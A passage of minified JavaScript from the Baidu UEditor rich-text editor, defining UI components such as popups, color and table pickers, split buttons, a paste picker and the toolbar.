    }, H7 = baidu.editor.utils, I7 = baidu.editor.ui.uiUtils, J7 = baidu.editor.EventBase, K7 = baidu.editor.ui.UIBase = function () {
    }, K7.prototype = {
        className: "", uiName: "", initOptions: function (e) {
            for (var t in e) this[t] = e[t];
            this.id = this.id || "edui" + I7.uid()
        }, initUIBase: function () {
            this._globalKey = H7.unhtml(I7.setGlobal(this.id, this))
        }, render: function (e) {
            for (var t, i = this.renderHtml(), n = I7.createElementByHtml(i), o = domUtils.getElementsByTagName(n, "*"), r = "edui-" + (this.theme || this.editor.options.theme), a = document.getElementById("edui_fixedlayer"), s = 0; t = o[s++];) domUtils.addClass(t, r);
            domUtils.addClass(n, r), a && (a.className = "", domUtils.addClass(a, r));
            var l = this.getDom();
            null != l ? (l.parentNode.replaceChild(n, l), I7.copyAttributes(n, l)) : ("string" == typeof e && (e = document.getElementById(e)), e = e || I7.getFixedLayer(), domUtils.addClass(e, r), e.appendChild(n)), this.postRender()
        }, getDom: function (e) {
            return e ? document.getElementById(this.id + "_" + e) : document.getElementById(this.id)
        }, postRender: function () {
            this.fireEvent("postrender")
        }, getHtmlTpl: function () {
            return ""
        }, formatHtml: function (e) {
            var t = "edui-" + this.uiName;
            return e.replace(/##/g, this.id).replace(/%%-/g, this.uiName ? t + "-" : "").replace(/%%/g, (this.uiName ? t : "") + " " + this.className).replace(/\$\$/g, this._globalKey)
        }, renderHtml: function () {
            return this.formatHtml(this.getHtmlTpl())
        }, dispose: function () {
            var e = this.getDom();
            e && baidu.editor.dom.domUtils.remove(e), I7.unsetGlobal(this.id)
        }
    }, H7.inherits(K7, J7), _7 = baidu.editor.utils, a8 = baidu.editor.ui.UIBase, b8 = baidu.editor.ui.Separator = function (e) {
        this.initOptions(e), this.initSeparator()
    }, b8.prototype = {
        uiName: "separator", initSeparator: function () {
            this.initUIBase()
        }, getHtmlTpl: function () {
            return '<div id="##" class="edui-box %%"></div>'
        }
    }, _7.inherits(b8, a8), d8 = baidu.editor.utils, e8 = baidu.editor.dom.domUtils, f8 = baidu.editor.ui.UIBase, g8 = baidu.editor.ui.uiUtils, h8 = baidu.editor.ui.Mask = function (e) {
        this.initOptions(e), this.initUIBase()
    }, h8.prototype = {
        getHtmlTpl: function () {
            return '<div id="##" class="edui-mask %%" onclick="return $$._onClick(event, this);" onmousedown="return $$._onMouseDown(event, this);"></div>'
        }, postRender: function () {
            var e = this;
            e8.on(window, "resize", function () {
                setTimeout(function () {
                    e.isHidden() || e._fill()
                })
            })
        }, show: function (e) {
            this._fill(), this.getDom().style.display = "", this.getDom().style.zIndex = e
        }, hide: function () {
            this.getDom().style.display = "none", this.getDom().style.zIndex = ""
        }, isHidden: function () {
            return "none" == this.getDom().style.display
        }, _onMouseDown: function () {
            return !1
        }, _onClick: function (e, t) {
            this.fireEvent("click", e, t)
        }, _fill: function () {
            var e = this.getDom(), t = g8.getViewportRect();
            e.style.width = t.width + "px", e.style.height = t.height + "px"
        }
    }, d8.inherits(h8, f8), function () {
        var e = baidu.editor.utils, c = baidu.editor.ui.uiUtils, u = baidu.editor.dom.domUtils,
            a = baidu.editor.ui.UIBase, t = baidu.editor.ui.Popup = function (e) {
                this.initOptions(e), this.initPopup()
            }, o = [];

        function i(e, t) {
            for (var i = 0; i < o.length; i++) {
                var n = o[i];
                if (!n.isHidden() && !1 !== n.queryAutoHide(t)) {
                    if (e && /scroll/gi.test(e.type) && "edui-wordpastepop" == n.className) return;
                    n.hide()
                }
            }
            o.length && n.editor.fireEvent("afterhidepop")
        }

        t.postHide = i;
        var m = ["edui-anchor-topleft", "edui-anchor-topright", "edui-anchor-bottomleft", "edui-anchor-bottomright"];
        t.prototype = {
            SHADOW_RADIUS: 5,
            content: null,
            _hidden: !1,
            autoRender: !0,
            canSideLeft: !0,
            canSideUp: !0,
            initPopup: function () {
                this.initUIBase(), o.push(this)
            },
            getHtmlTpl: function () {
                return '<div id="##" class="edui-popup %%" onmousedown="return false;"> <div id="##_body" class="edui-popup-body"> <iframe style="position:absolute;z-index:-1;left:0;top:0;background-color: transparent;" frameborder="0" width="100%" height="100%" src="about:blank"></iframe> <div class="edui-shadow"></div> <div id="##_content" class="edui-popup-content">' + this.getContentHtmlTpl() + "  </div> </div></div>"
            },
            getContentHtmlTpl: function () {
                return this.content ? "string" == typeof this.content ? this.content : this.content.renderHtml() : ""
            },
            _UIBase_postRender: a.prototype.postRender,
            postRender: function () {
                if (this.content instanceof a && this.content.postRender(), this.captureWheel && !this.captured) {
                    this.captured = !0;
                    var e = (document.documentElement.clientHeight || document.body.clientHeight) - 80,
                        t = this.getDom().offsetHeight, i = c.getClientRect(this.combox.getDom()).top,
                        n = this.getDom("content"), o = this.getDom("body").getElementsByTagName("iframe"), r = this;
                    for (o.length && (o = o[0]); e < i + t;) t -= 30;
                    n.style.height = t + "px", o && (o.style.height = t + "px"), window.XMLHttpRequest ? u.on(n, "onmousewheel" in document.body ? "mousewheel" : "DOMMouseScroll", function (e) {
                        e.preventDefault ? e.preventDefault() : e.returnValue = !1, e.wheelDelta ? n.scrollTop -= e.wheelDelta / 120 * 60 : n.scrollTop -= e.detail / -3 * 60
                    }) : u.on(this.getDom(), "mousewheel", function (e) {
                        e.returnValue = !1, r.getDom("content").scrollTop -= e.wheelDelta / 120 * 60
                    })
                }
                this.fireEvent("postRenderAfter"), this.hide(!0), this._UIBase_postRender()
            },
            _doAutoRender: function () {
                !this.getDom() && this.autoRender && this.render()
            },
            mesureSize: function () {
                var e = this.getDom("content");
                return c.getClientRect(e)
            },
            fitSize: function () {
                if (this.captureWheel && this.sized) return this.__size;
                this.sized = !0;
                var e = this.getDom("body");
                e.style.width = "", e.style.height = "";
                var t = this.mesureSize();
                if (this.captureWheel) {
                    e.style.width = -(-20 - t.width) + "px";
                    var i = parseInt(this.getDom("content").style.height, 10);
                    window.isNaN(i) || (t.height = i)
                } else e.style.width = t.width + "px";
                return e.style.height = t.height + "px", this.__size = t, this.captureWheel && (this.getDom("content").style.overflow = "auto"), t
            },
            showAnchor: function (e, t) {
                this.showAnchorRect(c.getClientRect(e), t)
            },
            showAnchorRect: function (e, t, i) {
                this._doAutoRender();
                var n = c.getViewportRect();
                this.getDom().style.visibility = "hidden", this._show();
                var o, r, a, s, l = this.fitSize();
                s = t ? (o = this.canSideLeft && e.right + l.width > n.right && e.left > l.width, r = this.canSideUp && e.top + l.height > n.bottom && e.bottom > l.height, a = o ? e.left - l.width : e.right, r ? e.bottom - l.height : e.top) : (o = this.canSideLeft && e.right + l.width > n.right && e.left > l.width, r = this.canSideUp && e.top + l.height > n.bottom && e.bottom > l.height, a = o ? e.right - l.width : e.left, r ? e.top - l.height : e.bottom);
                var d = this.getDom();
                c.setViewportOffset(d, {
                    left: a,
                    top: s
                }), u.removeClasses(d, m), d.className += " " + m[2 * (r ? 1 : 0) + (o ? 1 : 0)], this.editor && (d.style.zIndex = +this.editor.container.style.zIndex + 10, baidu.editor.ui.uiUtils.getFixedLayer().style.zIndex = d.style.zIndex - 1), this.getDom().style.visibility = "visible"
            },
            showAt: function (e) {
                var t = e.left, i = e.top, n = {left: t, top: i, right: t, bottom: i, height: 0, width: 0};
                this.showAnchorRect(n, !1, !0)
            },
            _show: function () {
                this._hidden && (this.getDom().style.display = "", this._hidden = !1, this.fireEvent("show"))
            },
            isHidden: function () {
                return this._hidden
            },
            show: function () {
                this._doAutoRender(), this._show()
            },
            hide: function (e) {
                !this._hidden && this.getDom() && (this.getDom().style.display = "none", this._hidden = !0, e || this.fireEvent("hide"))
            },
            queryAutoHide: function (e) {
                return !e || !c.contains(this.getDom(), e)
            }
        }, e.inherits(t, a), u.on(document, "mousedown", function (e) {
            i(e, e.target || e.srcElement)
        }), u.on(window, "scroll", function (e, t) {
            i(e, t)
        })
    }(), function () {
        var e = baidu.editor.utils, t = baidu.editor.ui.UIBase, i = baidu.editor.ui.ColorPicker = function (e) {
            this.initOptions(e), this.noColorText = this.noColorText || this.editor.getLang("clearColor"), this.initUIBase()
        };
        i.prototype = {
            getHtmlTpl: function () {
                return function (e, t) {
                    for (var i = '<div id="##" class="edui-colorpicker %%"><div class="edui-colorpicker-topbar edui-clearfix"><div unselectable="on" id="##_preview" class="edui-colorpicker-preview"></div><div unselectable="on" class="edui-colorpicker-nocolor" onclick="$$._onPickNoColor(event, this);">' + e + '</div></div><table  class="edui-box" style="border-collapse: collapse;" onmouseover="$$._onTableOver(event, this);" onmouseout="$$._onTableOut(event, this);" onclick="return $$._onTableClick(event, this);" cellspacing="0" cellpadding="0"><tr style="border-bottom: 1px solid #ddd;font-size: 13px;line-height: 25px;color:#39C;padding-top: 2px"><td colspan="10">' + t.getLang("themeColor") + '</td> </tr><tr class="edui-colorpicker-tablefirstrow" >', n = 0; n < o.length; n++) n && n % 10 == 0 && (i += "</tr>" + (60 == n ? '<tr style="border-bottom: 1px solid #ddd;font-size: 13px;line-height: 25px;color:#39C;"><td colspan="10">' + t.getLang("standardColor") + "</td></tr>" : "") + "<tr" + (60 == n ? ' class="edui-colorpicker-tablefirstrow"' : "") + ">"), i += n < 70 ? '<td style="padding: 0 2px;"><a hidefocus title="' + o[n] + '" onclick="return false;" href="javascript:" unselectable="on" class="edui-box edui-colorpicker-colorcell" data-color="#' + o[n] + '" style="background-color:#' + o[n] + ";border:solid #ccc;" + (n < 10 || 60 <= n ? "border-width:1px;" : 10 <= n && n < 20 ? "border-width:1px 1px 0 1px;" : "border-width:0 1px 0 1px;") + '"></a></td>' : "";
                    return i += "</tr></table></div>"
                }(this.noColorText, this.editor)
            }, _onTableClick: function (e) {
                var t = (e.target || e.srcElement).getAttribute("data-color");
                t && this.fireEvent("pickcolor", t)
            }, _onTableOver: function (e) {
                var t = (e.target || e.srcElement).getAttribute("data-color");
                t && (this.getDom("preview").style.backgroundColor = t)
            }, _onTableOut: function () {
                this.getDom("preview").style.backgroundColor = ""
            }, _onPickNoColor: function () {
                this.fireEvent("picknocolor")
            }
        }, e.inherits(i, t);
        var o = "ffffff,000000,eeece1,1f497d,4f81bd,c0504d,9bbb59,8064a2,4bacc6,f79646,f2f2f2,7f7f7f,ddd9c3,c6d9f0,dbe5f1,f2dcdb,ebf1dd,e5e0ec,dbeef3,fdeada,d8d8d8,595959,c4bd97,8db3e2,b8cce4,e5b9b7,d7e3bc,ccc1d9,b7dde8,fbd5b5,bfbfbf,3f3f3f,938953,548dd4,95b3d7,d99694,c3d69b,b2a2c7,92cddc,fac08f,a5a5a5,262626,494429,17365d,366092,953734,76923c,5f497a,31859b,e36c09,7f7f7f,0c0c0c,1d1b10,0f243e,244061,632423,4f6128,3f3151,205867,974806,c00000,ff0000,ffc000,ffff00,92d050,00b050,00b0f0,0070c0,002060,7030a0,".split(",")
    }(), z9 = baidu.editor.utils, A9 = baidu.editor.ui.uiUtils, B9 = baidu.editor.ui.UIBase, C9 = baidu.editor.ui.TablePicker = function (e) {
        this.initOptions(e), this.initTablePicker()
    }, C9.prototype = {
        defaultNumRows: 10,
        defaultNumCols: 10,
        maxNumRows: 20,
        maxNumCols: 20,
        numRows: 10,
        numCols: 10,
        lengthOfCellSide: 22,
        initTablePicker: function () {
            this.initUIBase()
        },
        getHtmlTpl: function () {
            return '<div id="##" class="edui-tablepicker %%"><div class="edui-tablepicker-body"><div class="edui-infoarea"><span id="##_label" class="edui-label"></span></div><div class="edui-pickarea" onmousemove="$$._onMouseMove(event, this);" onmouseover="$$._onMouseOver(event, this);" onmouseout="$$._onMouseOut(event, this);" onclick="$$._onClick(event, this);"><div id="##_overlay" class="edui-overlay"></div></div></div></div>'
        },
        _UIBase_render: B9.prototype.render,
        render: function (e) {
            this._UIBase_render(e), this.getDom("label").innerHTML = "0" + this.editor.getLang("t_row") + " x 0" + this.editor.getLang("t_col")
        },
        _track: function (e, t) {
            var i = this.getDom("overlay").style, n = this.lengthOfCellSide;
            i.width = e * n + "px", i.height = t * n + "px", this.getDom("label").innerHTML = e + this.editor.getLang("t_col") + " x " + t + this.editor.getLang("t_row"), this.numCols = e, this.numRows = t
        },
        _onMouseOver: function (e, t) {
            var i = e.relatedTarget || e.fromElement;
            A9.contains(t, i) || t === i || (this.getDom("label").innerHTML = "0" + this.editor.getLang("t_col") + " x 0" + this.editor.getLang("t_row"), this.getDom("overlay").style.visibility = "")
        },
        _onMouseOut: function (e, t) {
            var i = e.relatedTarget || e.toElement;
            A9.contains(t, i) || t === i || (this.getDom("label").innerHTML = "0" + this.editor.getLang("t_col") + " x 0" + this.editor.getLang("t_row"), this.getDom("overlay").style.visibility = "hidden")
        },
        _onMouseMove: function (e, t) {
            this.getDom("overlay").style;
            var i = A9.getEventOffset(e), n = this.lengthOfCellSide, o = Math.ceil(i.left / n),
                r = Math.ceil(i.top / n);
            this._track(o, r)
        },
        _onClick: function () {
            this.fireEvent("picktable", this.numCols, this.numRows)
        }
    }, z9.inherits(C9, B9), Y9 = baidu.editor.browser, Z9 = baidu.editor.dom.domUtils, $9 = baidu.editor.ui.uiUtils, _9 = 'onmousedown="$$.Stateful_onMouseDown(event, this);" onmouseup="$$.Stateful_onMouseUp(event, this);"' + (Y9.ie ? ' onmouseenter="$$.Stateful_onMouseEnter(event, this);" onmouseleave="$$.Stateful_onMouseLeave(event, this);"' : ' onmouseover="$$.Stateful_onMouseOver(event, this);" onmouseout="$$.Stateful_onMouseOut(event, this);"'), baidu.editor.ui.Stateful = {
        alwalysHoverable: !1, target: null, Stateful_init: function () {
            this._Stateful_dGetHtmlTpl = this.getHtmlTpl, this.getHtmlTpl = this.Stateful_getHtmlTpl
        }, Stateful_getHtmlTpl: function () {
            return this._Stateful_dGetHtmlTpl().replace(/stateful/g, function () {
                return _9
            })
        }, Stateful_onMouseEnter: function (e, t) {
            this.target = t, this.isDisabled() && !this.alwalysHoverable || (this.addState("hover"), this.fireEvent("over"))
        }, Stateful_onMouseLeave: function (e, t) {
            this.isDisabled() && !this.alwalysHoverable || (this.removeState("hover"), this.removeState("active"), this.fireEvent("out"))
        }, Stateful_onMouseOver: function (e, t) {
            var i = e.relatedTarget;
            $9.contains(t, i) || t === i || this.Stateful_onMouseEnter(e, t)
        }, Stateful_onMouseOut: function (e, t) {
            var i = e.relatedTarget;
            $9.contains(t, i) || t === i || this.Stateful_onMouseLeave(e, t)
        }, Stateful_onMouseDown: function (e, t) {
            this.isDisabled() || this.addState("active")
        }, Stateful_onMouseUp: function (e, t) {
            this.isDisabled() || this.removeState("active")
        }, Stateful_postRender: function () {
            this.disabled && !this.hasState("disabled") && this.addState("disabled")
        }, hasState: function (e) {
            return Z9.hasClass(this.getStateDom(), "edui-state-" + e)
        }, addState: function (e) {
            this.hasState(e) || (this.getStateDom().className += " edui-state-" + e)
        }, removeState: function (e) {
            this.hasState(e) && Z9.removeClasses(this.getStateDom(), ["edui-state-" + e])
        }, getStateDom: function () {
            return this.getDom("state")
        }, isChecked: function () {
            return this.hasState("checked")
        }, setChecked: function (e) {
            !this.isDisabled() && e ? this.addState("checked") : this.removeState("checked")
        }, isDisabled: function () {
            return this.hasState("disabled")
        }, setDisabled: function (e) {
            e ? (this.removeState("hover"), this.removeState("checked"), this.removeState("active"), this.addState("disabled")) : this.removeState("disabled")
        }
    }, uaa = baidu.editor.utils, vaa = baidu.editor.ui.UIBase, waa = baidu.editor.ui.Stateful, xaa = baidu.editor.ui.Button = function (e) {
        if (e.name) {
            var t = e.name, i = e.cssRules;
            e.className || (e.className = "edui-for-" + t), e.cssRules = ".edui-default  .edui-for-" + t + " .edui-icon {" + i + "}"
        }
        this.initOptions(e), this.initButton()
    }, xaa.prototype = {
        uiName: "button", label: "", title: "", showIcon: !0, showText: !0, cssRules: "", initButton: function () {
            this.initUIBase(), this.Stateful_init(), this.cssRules && uaa.cssRule("edui-customize-" + this.name + "-style", this.cssRules)
        }, getHtmlTpl: function () {
            return '<div id="##" class="edui-box %%"><div id="##_state" stateful><div class="%%-wrap"><div id="##_body" unselectable="on" ' + (this.title ? 'title="' + this.title + '"' : "") + ' class="%%-body" onmousedown="return $$._onMouseDown(event, this);" onclick="return $$._onClick(event, this);">' + (this.showIcon ? '<div class="edui-box edui-icon"></div>' : "") + (this.showText ? '<div class="edui-box edui-label">' + this.label + "</div>" : "") + "</div></div></div></div>"
        }, postRender: function () {
            this.Stateful_postRender(), this.setDisabled(this.disabled)
        }, _onMouseDown: function (e) {
            var t = e.target || e.srcElement, i = t && t.tagName && t.tagName.toLowerCase();
            if ("input" == i || "object" == i || "object" == i) return !1
        }, _onClick: function () {
            this.isDisabled() || this.fireEvent("click")
        }, setTitle: function (e) {
            this.getDom("label").innerHTML = e
        }
    }, uaa.inherits(xaa, vaa), uaa.extend(xaa.prototype, waa), Gaa = baidu.editor.utils, Haa = baidu.editor.ui.uiUtils, baidu.editor.dom.domUtils, Jaa = baidu.editor.ui.UIBase, Kaa = baidu.editor.ui.Stateful, Laa = baidu.editor.ui.SplitButton = function (e) {
        this.initOptions(e), this.initSplitButton()
    }, Laa.prototype = {
        popup: null, uiName: "splitbutton", title: "", initSplitButton: function () {
            this.initUIBase(), this.Stateful_init();
            if (null != this.popup) {
                var e = this.popup;
                this.popup = null, this.setPopup(e)
            }
        }, _UIBase_postRender: Jaa.prototype.postRender, postRender: function () {
            this.Stateful_postRender(), this._UIBase_postRender()
        }, setPopup: function (e) {
            this.popup !== e && (null != this.popup && this.popup.dispose(), e.addListener("show", Gaa.bind(this._onPopupShow, this)), e.addListener("hide", Gaa.bind(this._onPopupHide, this)), e.addListener("postrender", Gaa.bind(function () {
                e.getDom("body").appendChild(Haa.createElementByHtml('<div id="' + this.popup.id + '_bordereraser" class="edui-bordereraser edui-background" style="width:' + (Haa.getClientRect(this.getDom()).width + 20) + 'px"></div>')), e.getDom().className += " " + this.className
            }, this)), this.popup = e)
        }, _onPopupShow: function () {
            this.addState("opened")
        }, _onPopupHide: function () {
            this.removeState("opened")
        }, getHtmlTpl: function () {
            return '<div id="##" class="edui-box %%"><div ' + (this.title ? 'title="' + this.title + '"' : "") + ' id="##_state" stateful><div class="%%-body"><div id="##_button_body" class="edui-box edui-button-body" onclick="$$._onButtonClick(event, this);"><div class="edui-box edui-icon"></div></div><div class="edui-box edui-splitborder"></div><div class="edui-box edui-arrow" onclick="$$._onArrowClick();"></div></div></div></div>'
        }, showPopup: function () {
            var e = Haa.getClientRect(this.getDom());
            e.top -= this.popup.SHADOW_RADIUS, e.height += this.popup.SHADOW_RADIUS, this.popup.showAnchorRect(e)
        }, _onArrowClick: function (e, t) {
            this.isDisabled() || this.showPopup()
        }, _onButtonClick: function () {
            this.isDisabled() || this.fireEvent("buttonclick")
        }
    }, Gaa.inherits(Laa, Jaa), Gaa.extend(Laa.prototype, Kaa, !0), Taa = baidu.editor.utils, Uaa = baidu.editor.ui.uiUtils, Vaa = baidu.editor.ui.ColorPicker, Waa = baidu.editor.ui.Popup, Xaa = baidu.editor.ui.SplitButton, Yaa = baidu.editor.ui.ColorButton = function (e) {
        this.initOptions(e), this.initColorButton()
    }, Yaa.prototype = {
        initColorButton: function () {
            var i = this;
            this.popup = new Waa({
                content: new Vaa({
                    noColorText: i.editor.getLang("clearColor"),
                    editor: i.editor,
                    onpickcolor: function (e, t) {
                        i._onPickColor(t)
                    },
                    onpicknocolor: function (e, t) {
                        i._onPickNoColor(t)
                    }
                }), editor: i.editor
            }), this.initSplitButton()
        }, _SplitButton_postRender: Xaa.prototype.postRender, postRender: function () {
            this._SplitButton_postRender(), this.getDom("button_body").appendChild(Uaa.createElementByHtml('<div id="' + this.id + '_colorlump" class="edui-colorlump"></div>')), this.getDom().className += " edui-colorbutton"
        }, setColor: function (e) {
            this.getDom("colorlump").style.backgroundColor = e, this.color = e
        }, _onPickColor: function (e) {
            !1 !== this.fireEvent("pickcolor", e) && (this.setColor(e), this.popup.hide())
        }, _onPickNoColor: function (e) {
            !1 !== this.fireEvent("picknocolor") && this.popup.hide()
        }
    }, Taa.inherits(Yaa, Xaa), gba = baidu.editor.utils, hba = baidu.editor.ui.Popup, iba = baidu.editor.ui.TablePicker, jba = baidu.editor.ui.SplitButton, kba = baidu.editor.ui.TableButton = function (e) {
        this.initOptions(e), this.initTableButton()
    }, kba.prototype = {
        initTableButton: function () {
            var n = this;
            this.popup = new hba({
                content: new iba({
                    editor: n.editor, onpicktable: function (e, t, i) {
                        n._onPickTable(t, i)
                    }
                }), editor: n.editor
            }), this.initSplitButton()
        }, _onPickTable: function (e, t) {
            !1 !== this.fireEvent("picktable", e, t) && this.popup.hide()
        }
    }, gba.inherits(kba, jba), sba = baidu.editor.utils, tba = baidu.editor.ui.UIBase, uba = baidu.editor.ui.AutoTypeSetPicker = function (e) {
        this.initOptions(e), this.initAutoTypeSetPicker()
    }, uba.prototype = {
        initAutoTypeSetPicker: function () {
            this.initUIBase()
        }, getHtmlTpl: function () {
            var e = this.editor, t = e.options.autotypeset, i = e.getLang("autoTypeSet"), n = "textAlignValue" + e.uid,
                o = "imageBlockLineValue" + e.uid, r = "symbolConverValue" + e.uid;
            return '<div id="##" class="edui-autotypesetpicker %%"><div class="edui-autotypesetpicker-body"><table ><tr><td nowrap><input type="checkbox" name="mergeEmptyline" ' + (t.mergeEmptyline ? "checked" : "") + ">" + i.mergeLine + '</td><td colspan="2"><input type="checkbox" name="removeEmptyline" ' + (t.removeEmptyline ? "checked" : "") + ">" + i.delLine + '</td></tr><tr><td nowrap><input type="checkbox" name="removeClass" ' + (t.removeClass ? "checked" : "") + ">" + i.removeFormat + '</td><td colspan="2"><input type="checkbox" name="indent" ' + (t.indent ? "checked" : "") + ">" + i.indent + '</td></tr><tr><td nowrap><input type="checkbox" name="textAlign" ' + (t.textAlign ? "checked" : "") + ">" + i.alignment + '</td><td colspan="2" id="' + n + '"><input type="radio" name="' + n + '" value="left" ' + (t.textAlign && "left" == t.textAlign ? "checked" : "") + ">" + e.getLang("justifyleft") + '<input type="radio" name="' + n + '" value="center" ' + (t.textAlign && "center" == t.textAlign ? "checked" : "") + ">" + e.getLang("justifycenter") + '<input type="radio" name="' + n + '" value="right" ' + (t.textAlign && "right" == t.textAlign ? "checked" : "") + ">" + e.getLang("justifyright") + '</td></tr><tr><td nowrap><input type="checkbox" name="imageBlockLine" ' + (t.imageBlockLine ? "checked" : "") + ">" + i.imageFloat + '</td><td nowrap id="' + o + '"><input type="radio" name="' + o + '" value="none" ' + (t.imageBlockLine && "none" == t.imageBlockLine ? "checked" : "") + ">" + e.getLang("default") + '<input type="radio" name="' + o + '" value="left" ' + (t.imageBlockLine && "left" == t.imageBlockLine ? "checked" : "") + ">" + e.getLang("justifyleft") + '<input type="radio" name="' + o + '" value="center" ' + (t.imageBlockLine && "center" == t.imageBlockLine ? "checked" : "") + ">" + e.getLang("justifycenter") + '<input type="radio" name="' + o + '" value="right" ' + (t.imageBlockLine && "right" == t.imageBlockLine ? "checked" : "") + ">" + e.getLang("justifyright") + '</td></tr><tr><td nowrap><input type="checkbox" name="clearFontSize" ' + (t.clearFontSize ? "checked" : "") + ">" + i.removeFontsize + '</td><td colspan="2"><input type="checkbox" name="clearFontFamily" ' + (t.clearFontFamily ? "checked" : "") + ">" + i.removeFontFamily + '</td></tr><tr><td nowrap colspan="3"><input type="checkbox" name="removeEmptyNode" ' + (t.removeEmptyNode ? "checked" : "") + ">" + i.removeHtml + '</td></tr><tr><td nowrap colspan="3"><input type="checkbox" name="pasteFilter" ' + (t.pasteFilter ? "checked" : "") + ">" + i.pasteFilter + '</td></tr><tr><td nowrap><input type="checkbox" name="symbolConver" ' + (t.bdc2sb || t.tobdc ? "checked" : "") + ">" + i.symbol + '</td><td id="' + r + '"><input type="radio" name="bdc" value="bdc2sb" ' + (t.bdc2sb ? "checked" : "") + ">" + i.bdc2sb + '<input type="radio" name="bdc" value="tobdc" ' + (t.tobdc ? "checked" : "") + ">" + i.tobdc + '</td><td nowrap align="right"><button >' + i.run + "</button></td></tr></table></div></div>"
        }, _UIBase_render: tba.prototype.render
    }, sba.inherits(uba, tba), Cba = baidu.editor.utils, Dba = baidu.editor.ui.Popup, Eba = baidu.editor.ui.AutoTypeSetPicker, Fba = baidu.editor.ui.SplitButton, Gba = baidu.editor.ui.AutoTypeSetButton = function (e) {
        this.initOptions(e), this.initAutoTypeSetButton()
    }, Gba.prototype = {
        initAutoTypeSetButton: function () {
            var d = this;
            this.popup = new Dba({
                content: new Eba({editor: d.editor}), editor: d.editor, hide: function () {
                    !this._hidden && this.getDom() && (Hba(this), this.getDom().style.display = "none", this._hidden = !0, this.fireEvent("hide"))
                }
            });
            var t = 0;
            this.popup.addListener("postRenderAfter", function () {
                var l = this;
                if (!t) {
                    var e = this.getDom();
                    e.getElementsByTagName("button")[0].onclick = function () {
                        Hba(l), d.editor.execCommand("autotypeset"), l.hide()
                    }, domUtils.on(e, "click", function (e) {
                        var t = e.target || e.srcElement, i = d.editor.uid;
                        if (t && "INPUT" == t.tagName) {
                            if ("imageBlockLine" == t.name || "textAlign" == t.name || "symbolConver" == t.name) for (var n = t.checked, o = document.getElementById(t.name + "Value" + i).getElementsByTagName("input"), r = {
                                imageBlockLine: "none",
                                textAlign: "left",
                                symbolConver: "tobdc"
                            }, a = 0; a < o.length; a++) n ? o[a].value == r[t.name] && (o[a].checked = "checked") : o[a].checked = !1;
                            if (t.name == "imageBlockLineValue" + i || t.name == "textAlignValue" + i || "bdc" == t.name) {
                                var s = t.parentNode.previousSibling.getElementsByTagName("input");
                                s && (s[0].checked = !0)
                            }
                            Hba(l)
                        }
                    }), t = 1
                }
            }), this.initSplitButton()
        }
    }, Cba.inherits(Gba, Fba), lca = baidu.editor.utils, mca = baidu.editor.ui.Popup, nca = baidu.editor.ui.Stateful, oca = baidu.editor.ui.UIBase, pca = baidu.editor.ui.CellAlignPicker = function (e) {
        this.initOptions(e), this.initSelected(), this.initCellAlignPicker()
    }, pca.prototype = {
        initSelected: function () {
            var e = {top: 0, middle: 1, bottom: 2}, t = {left: 0, center: 1, right: 2}, i = 3;
            this.selected && (this.selectedIndex = e[this.selected.valign] * i + t[this.selected.align])
        }, initCellAlignPicker: function () {
            this.initUIBase(), this.Stateful_init()
        }, getHtmlTpl: function () {
            for (var e = ["left", "center", "right"], t = null, i = -1, n = [], o = 0; o < 9; o++) t = this.selectedIndex === o ? ' class="edui-cellalign-selected" ' : "", 0 === (i = o % 3) && n.push("<tr>"), n.push('<td index="' + o + '" ' + t + ' stateful><div class="edui-icon edui-' + e[i] + '"></div></td>'), 2 === i && n.push("</tr>");
            return '<div id="##" class="edui-cellalignpicker %%"><div class="edui-cellalignpicker-body"><table onclick="$$._onClick(event);">' + n.join("") + "</table></div></div>"
        }, getStateDom: function () {
            return this.target
        }, _onClick: function (e) {
            var t = e.target || e.srcElement;
            /icon/.test(t.className) && (this.items[t.parentNode.getAttribute("index")].onclick(), mca.postHide(e))
        }, _UIBase_render: oca.prototype.render
    }, lca.inherits(pca, oca), lca.extend(pca.prototype, nca, !0), Bca = baidu.editor.utils, Cca = baidu.editor.ui.Stateful, Dca = baidu.editor.ui.uiUtils, Eca = baidu.editor.ui.UIBase, Fca = baidu.editor.ui.PastePicker = function (e) {
        this.initOptions(e), this.initPastePicker()
    }, Fca.prototype = {
        initPastePicker: function () {
            this.initUIBase(), this.Stateful_init()
        }, getHtmlTpl: function () {
            return '<div class="edui-pasteicon" onclick="$$._onClick(this)"></div><div class="edui-pastecontainer"><div class="edui-title">' + this.editor.getLang("pasteOpt") + '</div><div class="edui-button"><div title="' + this.editor.getLang("pasteSourceFormat") + '" onclick="$$.format(false)" stateful><div class="edui-richtxticon"></div></div><div title="' + this.editor.getLang("tagFormat") + '" onclick="$$.format(2)" stateful><div class="edui-tagicon"></div></div><div title="' + this.editor.getLang("pasteTextFormat") + '" onclick="$$.format(true)" stateful><div class="edui-plaintxticon"></div></div></div></div></div>'
        }, getStateDom: function () {
            return this.target
        }, format: function (e) {
            this.editor.ui._isTransfer = !0, this.editor.fireEvent("pasteTransfer", e)
        }, _onClick: function (e) {
            var t = domUtils.getNextDomNode(e), i = Dca.getViewportRect().height, n = Dca.getClientRect(t);
            n.top + n.height > i ? t.style.top = -n.height - e.offsetHeight + "px" : t.style.top = "", /hidden/gi.test(domUtils.getComputedStyle(t, "visibility")) ? (t.style.visibility = "visible", domUtils.addClass(e, "edui-state-opened")) : (t.style.visibility = "hidden", domUtils.removeClasses(e, "edui-state-opened"))
        }, _UIBase_render: Eca.prototype.render
    }, Bca.inherits(Fca, Eca), Bca.extend(Fca.prototype, Cca, !0), Mca = baidu.editor.utils, Nca = baidu.editor.ui.uiUtils,Oca = baidu.editor.ui.UIBase,Pca = baidu.editor.ui.Toolbar = function (e) {
        this.initOptions(e), this.initToolbar()
    },Pca.prototype = {
        items: null, initToolbar: function () {
            this.items = this.items || [], this.initUIBase()
        }, add: function (e, t) {
            void 0 === t ? this.items.push(e) : this.items.splice(t, 0, e)
        }, getHtmlTpl: function () {
            for (var e = [], t = 0; t < this.items.length; t++) e[t] = this.items[t].renderHtml();
            return '<div id="##" class="edui-toolbar %%" onselectstart="return false;" onmousedown="return $$._onMouseDown(event, this);">' + e.join("") + "</div>"
        }, postRender: function () {
            for (var e = this.getDom(), t = 0; t < this.items.length; t++) this.items[t].postRender();
            Nca.makeUnselectable(e)
        }, _onMouseDown: function (e) {
            var t = e.target || e.srcElement, i = t && t.tagName && t.tagName.toLowerCase();
            if ("input" == i || "object" == i || "object" == i) return !1
        }
    },Mca.inherits(Pca, Oca),function () {
        var e = baidu.editor.utils, i = baidu.editor.dom.domUtils, o = baidu.editor.ui.uiUtils,
            t = baidu.editor.ui.UIBase, n = baidu.editor.ui.Popup, r = baidu.editor.ui.Stateful,
